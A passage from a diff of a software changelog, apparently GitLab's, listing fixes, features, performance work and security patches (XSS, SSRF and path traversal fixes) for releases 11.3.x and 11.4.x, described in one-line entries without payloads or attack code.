+- Add IID headers to E-Mail notifications. !22263
+- Allow finding the common ancestor for multiple revisions through the API. !22295
+- Add status to Deployment. !22380
+- Add dynamic timer to delayed jobs. !22382
+- No longer require a deploy to start Prometheus monitoring. !22401
+- Secret Variables renamed to CI Variables in the codebase, to match UX. !22414 (Marcel Amirault @ravlen)
+- Automatically navigate to last board visited. !22430
+- Use merge request prefix symbol in event feed title. !22449 (George Tsiolis)
+- Update Ruby version in README. !22466 (J.D. Bean)
+- Reword error message for internal CI unknown pipeline status. !22474
+- Bump mermaid to 8.0.0-rc.8. !22509 (@blackst0ne)
+- Update Todo icons in collapsed sidebar for Issues and MRs. !22534
+- Support backward compatibility when introduce new failure reason. !22566
+- Add dynamic timer for delayed jobs in pipelines list. !22621
+- Truncate milestone title on collapsed sidebar. !22624 (George Tsiolis)
+- Standardize milestones filter in APIs to None / Any. !22637 (Heinrich Lee Yu)
+- Add dynamic timer for delayed jobs in job list. !22656
+- Allowing issues with single letter identifiers to be linked to external issue tracker (f.ex T-123). !22717 (Dídac Rodríguez Arbonès)
+- Update project and group labels empty state. !22745 (George Tsiolis)
+- Fix environment status in merge request widget. !22799
+- Paginate Bitbucket Server importer projects. !22825
+- Drop `allow_overflow` option in `TimeHelper.duration_in_numbers`. !52284
+- Add 'only history' option to notes filter.
+- Adds filtered dropdown with changed files in review.
+- Expose {closed,merged}_{at,by} in merge requests API index.
+- Make all legacy security reports to use raw format.
+
+### Performance (27 changes, 6 of them are from the community)
+
+- Add preload for routes and namespaces for issues controller. !21651
+- Enhance performance of counting local LFS objects. !22143
+- Use cached readme contents when available. !22325
+- Experimental support for running Puma multithreaded web-server. !22372
+- Enhance performance of counting local Uploads. !22522
+- Reduce SQL queries needed to load open merge requests. !22709
+- Significantly cut memory usage and SQL queries when reloading diffs. !22725
+- Optimize merge request refresh by using the database to check commit SHAs. !22731
+- Remove dind from license_management auto-devops job definition. !22732
+- Add index to find stuck merge requests. !22749
+- Allow Rails concurrency when running in Puma. !22751
+- Improve performance of rendering large reports. !22835
+- Improves performance of stuck import jobs detection. !22879
+- Rewrite SnippetsFinder to improve performance by a factor of 1500.
+- Enable more frozen string in lib/**/*.rb. (gfyoung)
+- Enable some frozen string in lib/gitlab. (gfyoung)
+- Enable even more frozen string in lib/**/*.rb. (gfyoung)
+- Improve performance of tree rendering in repositories with lots of items.
+- Remove gitlab-ui's tooltip from global.
+- Remove gitlab-ui's progress bar from global.
+- Remove gitlab-ui's pagination from global.
+- Remove gitlab-ui's modal from global.
+- Remove gitlab-ui's loading icon from global.
+- Enable frozen string for lib/gitlab/*.rb. (gfyoung)
+- Enable frozen string for lib/gitlab/ci. (gfyoung)
+- Enable frozen string for remaining lib/gitlab/ci/**/*.rb. (gfyoung)
+- Adds pagination to pipelines table in merge request page.
+
+### Added (33 changes, 11 of them are from the community)
+
+- Add endpoint to update a git submodule reference. !20949
+- Add license data to projects endpoint. !21606 (J.D. Bean (@jdbean))
+- Allow to configure when to retry failed CI jobs. !21758 (Markus Doits)
+- Add API endpoint to list issue related merge requests. !21806 (Helmut Januschka)
+- Add the Play button for delayed jobs in environment page. !22106
+- Switch between tree list & file list in diffs file browser. !22191
+- Re-arrange help-related user menu items into new Help menu. !22195
+- Adds trace of each access check when git push times out. !22265
+- Add email for milestone change. !22279
+- Show post-merge pipeline in merge request page. !22292
+- Add Applications API endpoints for listing and deleting entries. !22296 (Jean-Baptiste Vasseur)
+- Added `Any` option to milestones filter. !22351 (Heinrich Lee Yu)
+- Improve validation errors for external CI/CD configuration. !22394
+- Introduce new model to persist specific cluster information. !22404
+- Add background migration to populate Kubernetes namespaces. !22433
+- Add support for JSON logging for audit events. !22471
+- Adds option to override commit email with a noreply private email. !22560
+- Add None/Any option for assignee_id in Issues and Merge Requests API. !22598 (Heinrich Lee Yu)
+- Add None/Any option for assignee_id in search bar. !22599 (Heinrich Lee Yu)
+- Implement parallel job keyword. !22631
+- Add None / Any options to reactions filter. !22638 (Heinrich Lee Yu)
+- Make index.* render like README.* when it's present in a repository. !22639 (Jakub Jirutka)
+- Allow adding patches when creating a merge request via email. !22723 (Serdar Dogruyol)
+- Bump Gitaly to 0.129.0. !22868
+- Allow commenting on any diff line in Merge Requests. !22914
+- Add revert to commits API. !22919
+- Introduce Knative support. !43959 (Chris Baumbauer)
+- Reimplemented image commenting in merge request diffs.
+- Soft-archive old jobs.
+- Renders warning info when job is archieved.
+- Support licenses and performance.
+- Filter notes by comments or activity for issues and merge requests.
+- Bump Gitaly to 0.128.0.
+
+### Other (54 changes, 18 of them are from the community)
+
+- Remove .card-title from .card-header for BS4 migration. !19335 (Takuya Noguchi)
+- Update group settings/edit page to new design. !21115
+- Change markdown header tab anchor links to buttons. !21988 (George Tsiolis)
+- Replace tooltip in markdown component with gl-tooltip. !21989 (George Tsiolis)
+- Extend RBAC by having a service account restricted to project's namespace. !22011
+- Update images in group docs. !22031 (Marc Schwede)
+- Add gitlab:gitaly:check task for Gitaly health check. !22063
+- Add new sort option "most_stars" to "Group > Children" pages. !22121 (Rene Hennig)
+- Fix inaccessible dropdown for code-less projects. !22137
+- Rails5: fix user edit profile clear status spec. !22169 (Jasper Maes)
+- Rails 5: fix mysql milliseconds problems in scheduled build specs. !22170 (Jasper Maes)
+- Focus project slug on tab navigation. !22198
+- Redesign activity feed. !22217
+- Update used version of Runner Helm Chart to 0.1.34. !22274
+- Update environments empty state. !22297 (George Tsiolis)
+- Adds model and migrations to enable group level clusters. !22307
+- Use literal instead of constructor for creating regex. !22367
+- Remove prometheus configuration help text. !22413 (George Tsiolis)
+- Rails5: fix deployment model spec. !22428 (Jasper Maes)
+- Change to top level controller for clusters so that we can use it for project clusters (now) and group clusters (later). !22438
+- Remove empty spec describe blocks. !22451 (George Tsiolis)
+- Change branch font type in tag creation. !22454 (George Tsiolis)
+- Rails5: fix delete blob. !22456 (Jasper Maes)
+- Start tracking shards and pool repositories in the database. !22482
+- Allow kubeclient to call RoleBinding methods. !22524
+- Introduce new kubernetes helpers. !22525
+- Adds container to pager to enable scoping. !22529
+- Update used version of Runner Helm Chart to 0.1.35. !22541
+- Removes experimental labels from cluster views. !22550
+- Combine all datetime library functions into 'datetime_utility.js'. !22570
+- Upgrade Prometheus to 2.4.3 and Alertmanager to 0.15.2. !22600
+- Fix stage dropdown not rendering in different languages. !22604
+- Remove asset_sync gem from Gemfile and related code from codebase. !22610
+- Use key-value pair arrays for API query parameter logging instead of hashes. !22623
+- Replace deprecated uniq on a Relation with distinct. !22625 (Jasper Maes)
+- Remove mousetrap-rails gem. !22647 (Takuya Noguchi)
+- Fix IDE typos in props. !22685 (George Tsiolis)
+- Add scheduled flag to job entity. !22710
+- Remove `ci_enable_scheduled_build` feature flag. !22742
+- Add endpoints for simulating certain failure modes in the application. !22746
+- Bump KUBERNETES_VERSION for Auto DevOps to latest 1.10 series. !22757
+- Fix statement timeouts in RemoveRestrictedTodos migration. !22795
+- Rails5: fix mysql milliseconds issue in deployment model specs. !22850 (Jasper Maes)
+- Update GitLab-Workhorse to v7.1.0. !22883
+- Update JIRA service UI to accept email and API token.
+- Update wiki empty state. (George Tsiolis)
+- Only renders dropdown for review app changes when we have a list of files to show. Otherwise will render the regular review app button.
+- Associate Rakefile with Ruby icon in diffs.
+- Uses gitlab-ui components in jobs components.
+- Create new group: Rename form fields and update UI.
+- Transform job page into a single Vue+Vuex application.
+- Updates svg dependency.
+- Adds missing i18n to pipelines table.
+- Disables stop environment button while the deploy is in progress.
+
+
+## 11.4.9 (2018-12-03)
+
+### Fixed (2 changes)
+
+- Display impersonation token value only after creation. !22916
+- Correctly handle data-loss scenarios when encrypting columns. !23306
+
+
+## 11.4.8 (2018-11-27)
+
+### Security (24 changes)
+
+- Escape entity title while autocomplete template rendering to prevent XSS. !2571
+- Resolve reflected XSS in Ouath authorize window.
+- Fix XSS in merge request source branch name.
+- Escape user fullname while rendering autocomplete template to prevent XSS.
+- Fix CRLF vulnerability in Project hooks.
+- Fix possible XSS attack in Markdown urls with spaces.
+- Redact sensitive information on gitlab-workhorse log.
+- Do not follow redirects in Prometheus service when making http requests to the configured api url.
+- Persist only SHA digest of PersonalAccessToken#token.
+- Don't expose confidential information in commit message list.
+- Provide email notification when a user changes their email address.
+- Restrict Personal Access Tokens to API scope on web requests.
+- Redact personal tokens in unsubscribe links.
+- Fix SSRF in project integrations.
+- Fixed ability to comment on locked/confidential issues.
+- Fixed ability of guest users to edit/delete comments on locked or confidential issues.
+- Fix milestone promotion authorization check.
+- Monkey kubeclient to not follow any redirects.
+- Configure mermaid to not render HTML content in diagrams.
+- Fix a possible symlink time of check to time of use race condition in GitLab Pages.
+- Removed ability to see private group names when the group id is entered in the url.
+- Fix stored XSS for Environments.
+- Prevent SSRF attacks in HipChat integration.
+- Validate Wiki attachments are valid temporary files.
+
+
+## 11.4.7 (2018-11-20)
+
+- No changes.
+
+## 11.4.6 (2018-11-18)
+
+### Security (1 change)
+
+- Escape user fullname while rendering autocomplete template to prevent XSS.
+
+
+## 11.4.5 (2018-11-04)
+
+### Fixed (4 changes, 1 of them is from the community)
+
+- fix link to enable usage ping from convdev index. !22545 (Anand Capur)
+- Update gitlab-ui dependency to 1.8.0-hotfix.1 to fix IE11 bug.
+- Remove duplicate escape in job sidebar.
+- Fixed merge request fill tree toggling not respecting fluid width preference.
+
+### Other (1 change)
+
+- Fix stage dropdown not rendering in different languages.
+
+
+## 11.4.4 (2018-10-30)
+
+### Security (1 change)
+
+- Monkey kubeclient to not follow any redirects.
+
+
+## 11.4.3 (2018-10-26)
+
+- No changes.
+
+## 11.4.2 (2018-10-25)
+
+### Security (5 changes)
+
+- Escape entity title while autocomplete template rendering to prevent XSS. !2571
+- Persist only SHA digest of PersonalAccessToken#token.
+- Redact personal tokens in unsubscribe links.
+- Block loopback addresses in UrlBlocker.
+- Validate Wiki attachments are valid temporary files.
+
+
+## 11.4.1 (2018-10-23)
+
+### Security (2 changes)
+
+- Fix XSS in merge request source branch name.
+- Prevent SSRF attacks in HipChat integration.
+
+
+## 11.4.0 (2018-10-22)
+
+### Security (9 changes)
+
+- Filter user sensitive data from discussions JSON. !2536
+- Encrypt webhook tokens and URLs in the database. !21645
+- Redact confidential events in the API.
+- Set timeout for syntax highlighting.
+- Sanitize JSON data properly to fix XSS on Issue details page.
+- Markdown API no longer displays confidential title references unless authorized.
+- Properly filter private references from system notes.
+- Fix stored XSS in merge requests from imported repository.
+- Fix xss vulnerability sourced from package.json.
+
+### Removed (2 changes)
+
+- Remove background job throttling feature. !21748
+- Remove sidekiq info from performance bar.
+
+### Fixed (68 changes, 18 of them are from the community)
+
+- Fixes 500 for cherry pick API with empty branch name. !21501 (Jacopo Beschi @jacopo-beschi)
+- Fix sorting by priority or popularity on group issues page, when also searching issue content. !21521
+- Fix vertical alignment of text in diffs. !21573
+- Fix performance bar modal position. !21577
+- Bump KaTeX version to 0.9.0. !21625
+- Correctly show legacy diff notes in the merge request changes tab. !21652
+- Synchronize the default branch when updating a remote mirror. !21653
+- Filter group milestones based on user membership. !21660
+- Fix double title in merge request chat messages. !21670 (Kukovskii Vladimir)
+- Delete container repository tags outside of transaction. !21679
+- Images are no longer displayed in Todo descriptions. !21704
+- Fixed merge request widget discussion state not updating after resolving discussions. !21705
+- Vendor Auto-DevOps.gitlab-ci.yml to fix bug where the deploy job does not wait for Deployment to complete. !21713
+- Use Reliable Sidekiq fetch. !21715
+- No longer show open issues from archived projects in group issue board. !21721
+- Issue and MR count now ignores archived projects. !21721
+- Fix resizing of monitoring dashboard. !21730
+- Fix object storage uploads not working with AWS v2. !21731
+- Don't ignore first action when assign and unassign quick actions are used in the same comment. !21749
+- Align form labels following Bootstrap 4 docs. !21752
+- Respect the user commit email in more places. !21773
+- Use stats RPC when comparing diffs. !21778
+- Show commit details for selected commit in MR diffs. !21784
+- Resolve "Geo: Does not mark repositories as missing on primary due to stale cache". !21789
+- Fix leading slash in redirects and add rubocop cop. !21828 (Sanad Liaquat)
+- Fix activity titles for MRs in chat notification services. !21834
+- Hides Close Merge request btn on merged Merge request. !21840 (Jacopo Beschi @jacopo-beschi)
+- Doesn't synchronize the default branch for push mirrors. !21861
+- Fix broken styling when issue board is collapsed. !21868 (Andrea Leone)
+- Set a header for custom error pages to prevent them from being intercepted by gitlab-workhorse. !21870 (David Piegza)
+- Fix resolved discussions being unresolved when commented on. !21881
+- Fix timeout when running the RemoveRestrictedTodos background migration. !21893
+- Enable the ability to use the force env for rebuilding authorized_keys during a restore. !21896
+- Fix link handling for issue cards to avoid too sensitive drag events. !21910 (Johann Hubert Sonntagbauer)
+- Guard against a login attempt with invalid CSRF token. !21934
+- Allow setting user's organization and location attributes through the API by adding them to the list of allowed parameters. !21938 (Alexis Reigel)
+- Includes commit stats in POST project commits API. !21968 (Jacopo Beschi @jacopo-beschi)
+- Fix loading issue on some merge request discussion. !21982
+- Prevent Error 500s with invalid relative links. !22001
+- Fix stale issue boards after browser back. !22006 (Johann Hubert Sonntagbauer)
+- Filter issues without an Assignee via the API. !22009 (Eva Kadlecová)
+- Fixes modal button alignment. !22024 (Jacopo Beschi @jacopo-beschi)
+- Fix rendering placeholder notes. !22078
+- Instance Configuration page now displays correct SSH fingerprints. !22081
+- Fix showing diff file header for renamed files. !22089
+- Fix LFS uploaded images not being rendered. !22092
+- Fix the issue where long environment names aren't being truncated, causing the environment name to overlap into the column next to it. !22104
+- Trim whitespace when inviting a new user by email. !22119 (Jacopo Beschi @jacopo-beschi)
+- Fix incorrect parent path on group settings page. !22142
+- Update copy to clipboard button data for application secret. !22268 (George Tsiolis)
+- Improve MR file tree in smaller screens. !22273
+- Fix project deletion when there is a export available. !22276
+- Fixes stuck block URL linking to documentation instead of settings page. !22286
+- Fix caching issue with pipelines URL. !22293
+- Fix erased block not being rendered when job was erased. !22294
+- Load correct stage in the stages dropdown. !22317
+- Fixes close/reopen quick actions preview for issues and merge_requests. !22343 (Jacopo Beschi @jacopo-beschi)
+- Allow Issue and Merge Request sidebar to be toggled from collapsed state. !22353
+- Fix filter bar height bug when a tag is added.
+- Fix the state of the Done button when there is an error in the GitLab Todos section. (marcos8896)
+- Fix wrong text color of help text in merge request creation. (Gerard Montemayor)
+- Add borders and white background to markdown tables.
+- Fixed mention autocomplete in edit merge request.
+- Fix long webhook URL overflow for custom integration. (Kukovskii Vladimir)
+- Fixed file templates not fully being fetched in Web IDE.
+- Fixes performance bar looking for a key in a undefined prop.
+- Hides sidebar for job page in mobile.
+- Fixes triggered/created labeled in job header.
+
+### Changed (26 changes, 4 of them are from the community)
+
+- Enable unauthenticated access to public SSH keys via the API. !20118 (Ronald Claveau)
+- Support Kubernetes RBAC for GitLab Managed Apps when creating new clusters. !21401
+- Highlight current user in comments. !21406
+- Excludes project marked from deletion to projects API. !21542 (Jacopo Beschi @jacopo-beschi)
+- Improve install flow of Kubernetes cluster apps. !21567
+- Move including external files in .gitlab-ci.yml from Starter to Libre. !21603
+- Simplify runner registration token resetting. !21658
+- Filter any parameters ending with "key" in logs. !21688
+- Ensure the schema is loaded with post_migrations included. !21689
+- Updated icons used in filtered search dropdowns. !21694
+- Enable omniauth by default. !21700
+- Vendor Auto-DevOps.gitlab-ci.yml to refactor registry_login. !21714 (Laurent Goderre @LaurentGoderre)
+- Add Gitaly diff stats RPC client. !21732
+- Allow user to revoke an authorized application even if User OAuth applications setting is disabled in admin settings. !21835
+- Change vertical margin of page titles to 16px. !21888
+- Preserve order of project tags list. !21897
+- Avoid close icon leaving the modal header. !21904
+- Allow /copy_metadata for new issues and MRs. !21953
+- Link to the tag for a version on the help page instead of to the commit. !22015
+- Show SHA for pre-release versions on the help page. !22026
+- Use local tiller for Auto DevOps. !22036
+- Remove 'rbac_clusters' feature flag. !22096
+- Increased retained event data by extending events pruner timeframe to 2 years. !22145
+- Add installation type to backup information file. !22150
+- Remove duplicate button from the markdown header toolbar. !22192 (George Tsiolis)
+- Update to Rouge 3.3.0 including frozen string literals for improved memory usage.
+
+### Performance (17 changes, 6 of them are from the community)
+
+- Enable frozen string in app/controllers/**/*.rb.
+- Improve lazy image loading performance by using IntersectionObserver where available. !21565
+- Adds support for Gitaly ListLastCommitsForTree RPC in order to make bulk-fetch of commits more performant. !21921
+- Dont create license_management build when not included in license. !21958
+- Skip creating auto devops jobs for sast, container_scanning, dast, dependency_scanning when not licensed. !21959
+- Reduce queries needed to compute notification recipients. !22050
+- Banzai label ref finder - minimize SQL calls by sharing context more aggresively. !22070
+- Removes expensive dead code on main MR page request. !22153
+- Lazy load xterm custom colors css.
+- Mitigate N+1 queries when parsing commit references in comments.
+- Enable more frozen string in app/controllers/. (gfyoung)
+- Increase performance when creating discussions on diff.
+- Enable frozen string in lib/api and lib/backup. (gfyoung)
+- Enable frozen string in vestigial files. (gfyoung)
+- Enable frozen string for app/helpers/**/*.rb. (gfyoung)
+- Enable frozen string in app/graphql + app/finders. (gfyoung)
+- Enable even more frozen string in app/controllers. (gfyoung)
+
+### Added (37 changes, 21 of them are from the community)
+
+- Allow file templates to be requested at the project level. !7776
+- Add /lock and /unlock quick actions. !15197 (Mehdi Lahmam (@mehlah))
+- Added search functionality for Work In Progress (WIP) merge requests. !18119 (Chantal Rollison)
+- pipeline webhook event now contain pipeline variables. !18171 (Pierre Tardy)
+- Add markdown header toolbar button to insert table. !18480 (George Tsiolis)
+- Add link button to markdown editor toolbar. !18579 (Jan Beckmann)
+- Add access control to GitLab pages and make it possible to enable/disable it in project settings. !18589 (Tuomo Ala-Vannesluoma)
+- Add a filter bar to the admin runners view and add a state filter. !19625 (Alexis Reigel)
+- Add a type filter to the admin runners view. !19649 (Alexis Reigel)
+- Allow user to choose the email used for commits made through GitLab's UI. !21213 (Joshua Campbell)
+- Add autocomplete drop down filter for project snippets. !21458 (Fabian Schneider)
+- Allow events filter to be set in the URL in addition to cookie. !21557 (Igor @igas)
+- Adds a initialize_with_readme parameter to POST /projects. !21617 (Steve)
+- Add ability to skip user email confirmation with API. !21630
+- Add sorting for labels on labels page. !21642
+- Set user status from within user menu. !21643
+- Copy nurtch demo notebooks at Jupyter startup. !21698 (Amit Rathi)
+- Allows to sort projects by most stars. !21762 (Jacopo Beschi @jacopo-beschi)
+- Allow pipelines to schedule delayed job runs. !21767
+- Added tree of changed files to merge request diffs. !21833
+- Add GitLab version components to CI environment variables. !21853
+- Allows to chmod file with commits API. !21866 (Jacopo Beschi @jacopo-beschi)
+- Make single diff patch limit configurable. !21886
+- Extend reports feature to support Security Products. !21892
+- Adds the user's public_email attribute to the API. !21909 (Alexis Reigel)
+- Update all gitlab CI templates from gitlab-org/gitlab-ci-yml. !21929
+- Add support for setting the public email through the api. !21938 (Alexis Reigel)
+- Support db migration and initialization for Auto DevOps. !21955
+- Add subscribe filter to group and project labels pages. !21965
+- Add support for pipeline only/except policy for modified paths. !21981
+- Docs for Project/Groups members API with inherited members. !21984 (Jacopo Beschi @jacopo-beschi)
+- Adds Web IDE commits to usage ping. !22007
+- Add timed incremental rollout to Auto DevOps. !22023
+- Show percentage of language detection on the language bar. !22056 (Johann Hubert Sonntagbauer)
+- Allows to filter issues by Any milestone in the API. !22080 (Jacopo Beschi @jacopo-beschi)
+- Add button to download 2FA codes. (Luke Picciau)
+- Render log artifact files in GitLab.
+
+### Other (42 changes, 16 of them are from the community)
+
+- Send deployment information in job API. !21307
+- Split admin settings into multiple sub pages. !21467
+- Remove Rugged and shell code from Gitlab::Git. !21488
+- Add trigger information in job API. !21495
+- Add empty state illustration information in job API. !21532
+- Add retried jobs to pipeline stage. !21558
+- Rails 5: fix issue move service In rails 5, the attributes method for an enum returns the name instead of the database integer. !21616 (Jasper Maes)
+- Expose project runners in job API. !21618
+- create from template: hide checkbox for initializing repository with readme. !21646
+- Adds new 'Overview' tab on user profile page. !21663
+- Add clean-up phase for ScheduleDiffFilesDeletion migration. !21734
+- Prevents private profile help link from toggling checkbox. !21757
+- Make AutoDevOps work behind proxy. !21775 (Sergej - @kinolaev)
+- Use Vue components and new API to render Artifacts, Trigger Variables and Commit blocks on Job page. !21777
+- Add wrapper rake task to migrate all uploads to OS. !21779
+- Retroactively fill pipeline source for external pipelines. !21814
+- Rename squash before merge vue component. !21851 (George Tsiolis)
+- Fix merge request header margins. !21878
+- Fix committer typo. !21899 (George Tsiolis)
+- Adds an extra width to the responsive tables. !21928
+- Expose has_trace in job API. !21950
+- Rename block scope local variable in table pagination spec. !21969 (George Tsiolis)
+- Fix blue, orange, and red color inconsistencies. !21972
+- Update operations metrics empty state. !21974 (George Tsiolis)
+- Improve empty project placeholder for non-members and members without write access. !21977 (George Tsiolis)
+- Add copy to clipboard button for application id and secret. !21978 (George Tsiolis)
+- Add link component to UserAvatarLink component. !21986 (George Tsiolis)
+- Add link component to DownloadViewer component. !21987 (George Tsiolis)
+- Rephrase 2FA and TOTP documentation and view. !21998 (Marc Schwede)
+- Update project path on project name autofill. !22016
+- Improve logging when username update fails due to registry tags. !22038
+- Align collapsed sidebar avatar container. !22044 (George Tsiolis)
+- Rails5: fix artifacts controller download spec Rails5 has params[:file_type] as '' if file_type is included as nil in the request. !22123 (Jasper Maes)
+- Hide pagination for personal projects on profile overview tab. !22321
+- Extracts scroll position check into reusable functions.
+- Uses Vuex store in job details page and removes old mediator pattern.
+- Render 412 when invalid UTF-8 parameters are passed to controller.
+- Renders Job show page in new Vue app.
+- Add link to User Snippets in breadcrumbs of New User Snippet page. (J.D. Bean)
+- Log project services errors when executing async.
+- Update docs regarding frozen string. (gfyoung)
+- Check frozen string in style builds. (gfyoung)
+
+
+## 11.3.14 (2018-12-20)
+
+### Security (1 change)
+
+- Fix persistent symlink in project import.
+
+
+## 11.3.13 (2018-12-13)
+
+### Security (1 change)
+
+- Validate LFS hrefs before downloading them.
+
+
+## 11.3.12 (2018-12-06)
+
+### Security (1 change)
+
+- Prevent a path traversal attack on global file templates.
+
+
+## 11.3.11 (2018-11-26)
+
+### Security (33 changes)
+
+- Filter user sensitive data from discussions JSON. !2537
+- Escape entity title while autocomplete template rendering to prevent XSS. !2557
+- Restrict Personal Access Tokens to API scope on web requests.
+- Fix XSS in merge request source branch name.
+- Escape user fullname while rendering autocomplete template to prevent XSS.
+- Fix CRLF vulnerability in Project hooks.
+- Fix possible XSS attack in Markdown urls with spaces.
+- Redact sensitive information on gitlab-workhorse log.
+- Set timeout for syntax highlighting.
+- Do not follow redirects in Prometheus service when making http requests to the configured api url.
+- Persist only SHA digest of PersonalAccessToken#token.
+- Sanitize JSON data properly to fix XSS on Issue details page.
+- Don't expose confidential information in commit message list.
+- Markdown API no longer displays confidential title references unless authorized.
+- Provide email notification when a user changes their email address.
+- Properly filter private references from system notes.
+- Redact personal tokens in unsubscribe links.
+- Resolve reflected XSS in Ouath authorize window.
+- Fix SSRF in project integrations.
+- Fix stored XSS in merge requests from imported repository.
+- Fixed ability to comment on locked/confidential issues.
+- Fixed ability of guest users to edit/delete comments on locked or confidential issues.
+- Fix milestone promotion authorization check.
+- Monkey kubeclient to not follow any redirects.
+- Configure mermaid to not render HTML content in diagrams.
+- Redact confidential events in the API.
+- Fix xss vulnerability sourced from package.json.
+- Fix a possible symlink time of check to time of use race condition in GitLab Pages.
+- Removed ability to see private group names when the group id is entered in the url.
+- Fix stored XSS for Environments.
+- Block loopback addresses in UrlBlocker.
+- Prevent SSRF attacks in HipChat integration.
+- Validate Wiki attachments are valid temporary files.
+
+
+## 11.3.10 (2018-11-18)
+
+### Security (1 change)
+
+- Escape user fullname while rendering autocomplete template to prevent XSS.
+
+
+## 11.3.9 (2018-10-31)
+
+### Security (1 change)
+
+- Monkey kubeclient to not follow any redirects.
+
+
+## 11.3.8 (2018-10-27)
+
+- No changes.
+
+## 11.3.7 (2018-10-26)
+
+### Security (6 changes)
+
+- Escape entity title while autocomplete template rendering to prevent XSS. !2557
+- Persist only SHA digest of PersonalAccessToken#token.
+- Fix XSS in merge request source branch name.
+- Redact personal tokens in unsubscribe links.
+- Prevent SSRF attacks in HipChat integration.
+- Validate Wiki attachments are valid temporary files.
+
+
+## 11.3.6 (2018-10-17)
+
+- No changes.
+
+## 11.3.5 (2018-10-15)
+
+### Fixed (2 changes)
+
+- Fix loading issue on some merge request discussion. !21982
+- Fix project deletion when there is a export available. !22276
+
+
+## 11.3.3 (2018-10-04)
+
+- No changes.
+
+## 11.3.2 (2018-10-03)
+
+### Fixed (4 changes)
+
+- Fix NULL pipeline import problem and pipeline user mapping issue. !21875
+- Fix migration to avoid an exception during upgrade. !22055
+- Fixes admin runners table not wrapping content.
+- Fix Error 500 when forking projects with Gravatar disabled.
+
+### Other (1 change)
+
+- Removes the 'required' attribute from the 'project name' field. !21770
+
+
+## 11.3.1 (2018-09-26)
+
+### Security (6 changes)
+
+- Redact confidential events in the API.
+- Set timeout for syntax highlighting.
+- Sanitize JSON data properly to fix XSS on Issue details page.
+- Fix stored XSS in merge requests from imported repository.
+- Fix xss vulnerability sourced from package.json.
+- Block loopback addresses in UrlBlocker.
+
+
+## 11.3.0 (2018-09-22)
+
+### Security (5 changes, 1 of them is from the community)
+
+- Disable the Sidekiq Admin Rack session. !21441
+- Set issuable_sort, diff_view, and perf_bar_enabled cookies to secure when possible. !21442
+- Update rubyzip to 1.2.2 (CVE-2018-1000544). !21460 (Takuya Noguchi)
+- Fixed persistent XSS rendering/escaping of diff location lines.
+- Block link-local addresses in URLBlocker.
+
+### Removed (1 change)
+
+- Remove Gemnasium service. !21185
+
+### Fixed (83 changes, 24 of them are from the community)
+
+- Hide PAT creation advice for HTTP clone if PAT exists. !18208 (George Thomas @thegeorgeous)
+- Allow spaces in wiki markdown links when using CommonMark. !20417
+- disable_statement_timeout no longer leak to other migrations. !20503
+- Events API now requires the read_user or api scope. !20627 (Warren Parad)
+- Fix If-Check the result that a function was executed several times. !20640 (Max Dicker)
+- Add migration to cleanup internal_ids inconsistency. !20926
+- Fix fallback logic for automatic MR title assignment. !20930 (Franz Liedke)
+- Fixed bug when the project logo file is stored in LFS. !20948
+- Fix buttons on the new file page wrapping outside of the container. !21015
+- Solve tooltip appears under modal. !21017
+- Fix Bitbucket Cloud importer omitting replies. !21076
+- Fix pipeline fixture seeder. !21088
+- Fix blocked user card style. !21095
+- Fix empty merge requests not opening in the Web IDE. !21102
+- Fix label list item container height when there is no label description. !21106
+- Fixes input alignment in user admin form with errors. !21108 (Jacopo Beschi @jacopo-beschi)
+- Rails5 fix specs duplicate key value violates unique constraint 'index_gpg_signatures_on_commit_sha'. !21119 (Jasper Maes)
+- Add gitlab theme to spam logs pagination. !21145
+- Split remembering sorting for issues and merge requests. !21153 (Jacopo Beschi @jacopo-beschi)
+- Fix git submodule link for subgroup projects with relative path. !21154
+- Fix: Project deletion may not log audit events during group deletion. !21162
+- Fix 1px cutoff of emojis. !21180 (gfyoung)
+- Auto-DevOps.gitlab-ci.yml: update glibc package to 2.28. !21191 (sgerrand)
+- Show google icon in audit log. !21207 (Jan Beckmann)
+- Fix bin/secpick error and security branch prefixing. !21210
+- Importing a project no longer fails when visibility level holds a string value type. !21242
+- Fix attachments not displaying inline with Google Cloud Storage. !21265
+- Fix IDE issues with persistent banners. !21283
+- Fix "Confidential comments" button not saving in project hooks. !21289
+- Bump fog-google to 1.7.0 and google-api-client to 0.23.0. !21295
+- Don't use arguments keyword in gettext script. !21296 (gfyoung)
+- Fix breadcrumb link to issues on new issue page. !21305 (J.D. Bean)
+- Show '< 1%' when percent value evaluated is less than 1 on Stacked Progress Bar. !21306
+- API: Catch empty commit messages. !21322 (Robert Schilling)
+- Fix SQL error when sorting 2FA-enabled users by name in admin area. !21324
+- API: Catch empty code content for project snippets. !21325 (Robert Schilling)
+- Avoid nil safe message. !21326 (Yi Siliang)
+- Allow date parameters on Issues, Notes, and Discussions API for group owners. !21342 (Florent Dubois)
+- Fix remote mirrors failing if Git remotes have not been added. !21351
+- Removing a group no longer triggers hooks for project deletion twice. !21366
+- Use slugs for default project path and sanitize names before import. !21367
+- Vertically centres landscape avatars. !21371 (Vicary Archangel)
+- Fix Web IDE unable to commit to same file twice. !21372
+- Fix project transfer name validation issues causing a redirect loop. !21408
+- Fix Error 500s due to encoding issues when Wiki hooks fire. !21414
+- Rails 5: include opclasses in rails 5 schema dump. !21416 (Jasper Maes)
+- Bump GitLab Pages to v1.1.0. !21419
+- Fix links in RSS feed elements. !21424 (Marc Schwede)
+- Allow gaps in multiseries metrics charts. !21427
+- Auto-DevOps.gitlab-ci.yml: fix redeploying deleted app gives helm error. !21429
+- Use sample data for push event when no commits created. !21440 (Takuya Noguchi)
+- Fix importers not assigning a new default group. !21456
+- Fix edge cases of JUnitParser. !21469
+- Fix breadcrumb link to merge requests on new merge request page. !21502 (J.D. Bean)
+- Handle database statement timeouts in usage ping. !21523
+- Handles exception during file upload - replaces the stack trace with a small error message. !21528
+- Fix closing issue default pattern. !21531 (Samuele Kaplun)
+- Fix outdated discussions being shown on Merge Request Changes tab. !21543
+- Remove orphaned label links. !21552
+- Delete a container registry asynchronously. !21553
+- Make MR diff file filter input Clear button functional. !21556
+- Replace white spaces in wiki attachments file names. !21569
+- API: Use find_branch! in all places. !21614 (Robert Schilling)
+- Fixes double +/- on inline diff view. !21634
+- Fix broken exports when they include a projet avatar. !21649
+- Fix workhorse temp path for namespace uploads. !21650
+- Fixed resolved discussions not toggling expanded state on changes tab. !21676
+- Update GitLab Shell to v8.3.2. !21701
+- Fix absent Click to Expand link on diffs not rendered on first load of Merge Requests Changes tab. !21716
+- Update GitLab Shell to v8.3.3. !21750
+- Fix import error when archive does not have the correct extension. !21765
+- Fixed IDE deleting new files creating wrong state.
+- Does not collapse runners section when using pagination.
+- Fix Emojis cutting in the right way. (Alexander Popov)
